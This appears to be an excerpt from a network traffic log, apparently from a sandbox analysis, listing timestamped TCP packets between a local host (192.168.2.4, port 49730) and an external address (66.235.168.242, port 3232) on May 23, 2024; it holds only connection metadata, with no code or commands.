May 23, 2024 13:53:47.419538975 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.419728041 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.419770002 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.420295954 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.420829058 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.420851946 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.420871019 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.420881033 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.420916080 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.421870947 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.422373056 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.422395945 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.422416925 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.423330069 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.423374891 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.423882961 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.423907042 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.423955917 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.424880981 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.431899071 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.431946993 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.432163000 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.432802916 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.432842970 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.433439016 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.433459044 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.433492899 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.434859037 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.435290098 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.435312033 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.435332060 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.436501980 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.436522961 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.436544895 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.436567068 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.436606884 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.437835932 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.437853098 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.437937021 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.438947916 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.438962936 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.439008951 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.440347910 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.440366983 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.440537930 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.441481113 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.441504002 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.441550970 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.442665100 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.442689896 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.442709923 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.442732096 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.443449020 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.443470955 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.443491936 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.444369078 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.444392920 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.444412947 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.445434093 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.445456028 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.445475101 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.445497036 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.445535898 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.493730068 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.493805885 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.497003078 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.497240067 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.497287035 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.497936964 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.498233080 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.498255014 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.498272896 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.498650074 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.498671055 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.498692036 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.499502897 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.499609947 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.499988079 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.500008106 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.500051975 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.500917912 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.500938892 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.500988007 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.501805067 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.501821041 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.501846075 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.501867056 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.502782106 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.502798080 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.502886057 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.505955935 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.505987883 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.506010056 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.506016970 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.506035089 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.506055117 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.506073952 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.506082058 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.506089926 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.506381989 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.506402969 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.506426096 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.506432056 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.506464958 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.507287979 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.507309914 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.507436037 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.508215904 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.508238077 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.508510113 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.509779930 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.509795904 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.510026932 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.510823011 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.510852098 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.510869026 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.510889053 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.511960983 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.511980057 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.512021065 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.513096094 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.513117075 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.513134956 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.514209986 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.514233112 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.514252901 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.514260054 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.514338017 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.565690994 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.565741062 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.576035976 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.576275110 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.576314926 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.576711893 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.577162981 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.577183962 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.577260971 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.577991009 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.578033924 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.578475952 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.578511953 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.578569889 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.579358101 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.579380035 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.579397917 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.579412937 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.580245972 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.580267906 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.580285072 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.581096888 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.581118107 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.581135988 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.582067966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.582086086 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.582267046 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.582859039 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.582875013 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.582959890 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.583749056 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.583770990 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.583791018 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.583796978 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.583837032 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.584611893 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.584633112 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.584690094 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.585514069 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.585532904 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.585592031 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.586374998 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.586396933 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.586518049 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.587255955 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.587277889 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.587296009 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.587316990 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.588124990 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.588146925 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.588166952 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.588828087 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.588848114 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.588866949 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.589535952 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.589555979 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.589596033 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.590225935 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.590243101 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.590265036 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.590274096 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.590292931 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.590313911 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.629858017 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.629930973 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.653031111 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.653662920 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.653873920 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.654243946 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.654522896 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.655229092 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.655249119 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.655488968 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.656583071 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.656761885 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.657243967 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.657926083 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.658123016 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.658607960 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.658704042 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.659327030 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.659538984 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.661367893 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.661489010 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.661602020 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.661947966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.662210941 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.663393974 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.663486958 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.663506985 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.663830996 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.664690971 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.664875984 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.666079044 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.666104078 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.666215897 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.667352915 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.667563915 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.667591095 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.668154001 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.668709040 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.669142008 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.670101881 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.670257092 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.670403004 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.671375990 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.671530008 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.671575069 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.672709942 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.672866106 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.672909021 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.673209906 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.674004078 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.674046993 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.675616026 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.675736904 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.675872087 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.676862955 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.677017927 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.677059889 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.678102970 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.678260088 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.678325891 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.678618908 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.683464050 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.683660030 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.721956968 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.722028971 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.739052057 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.739574909 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.739629030 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.739661932 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.740560055 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.740658045 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.741614103 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.742189884 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.742238998 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.742441893 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.743252039 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.743344069 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.743447065 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.744508982 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.744558096 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.744581938 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.745394945 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.745520115 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.745877028 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.747236013 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.747309923 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.747364044 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.748629093 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.748724937 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.748833895 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.749686956 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.749877930 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.749911070 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.750574112 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.750643969 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.753448963 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.753606081 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.753699064 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.753894091 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.754213095 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.754232883 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.754255056 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.754863024 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.754884005 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.754905939 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.755935907 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.755954027 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.755976915 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.756931067 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.756984949 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.757004023 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.758208036 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.758358002 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.759578943 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.759676933 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.759699106 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.760667086 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.760688066 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.761140108 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.761838913 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.761981964 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.762110949 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.763004065 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.763102055 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.765388966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.807718992 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.807957888 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.808293104 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.808506966 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.808566093 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.809470892 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.809650898 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.810549974 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.810785055 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.810803890 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.811764956 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.812076092 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.812105894 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.812856913 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.812902927 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.812931061 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.813297033 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.813328981 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.814052105 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.815208912 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.815315008 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.815366983 CEST	3232	49730	66.235.168.242	192.168.2.4
May 23, 2024 13:53:47.815588951 CEST	49730	3232	192.168.2.4	66.235.168.242
May 23, 2024 13:53:47.816400051 CEST	3232	49730	66.235.168.242	192.168.2.4
